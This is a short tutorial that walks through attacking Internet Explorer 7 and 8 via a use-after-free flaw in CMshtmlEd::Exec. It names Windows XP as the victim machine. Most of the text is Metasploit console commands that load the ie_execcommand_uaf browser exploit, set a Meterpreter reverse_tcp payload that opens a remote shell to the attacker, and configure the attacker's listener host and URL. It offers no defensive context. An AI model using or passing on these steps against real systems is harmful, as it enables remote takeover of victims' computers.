This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it.

Exploit Targets

Internet Explorer 7 on XP SP2

Internet Explorer 8 on Windows 7

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ie_execcommand_uaf

msf exploit (ie_execcommand_uaf)>set payload windows/meterpreter/reverse_tcp

msf exploit (ie_execcommand_uaf)>set lhost 192.168.1.2 (IP of Local Host)

msf exploit (ie_execcommand_uaf)>set srvhost 192.168.1.2 (This must be an address on the local machine)

msf exploit (ie_execcommand_uaf)>set uripath newcommands (The Url to use for this exploit)
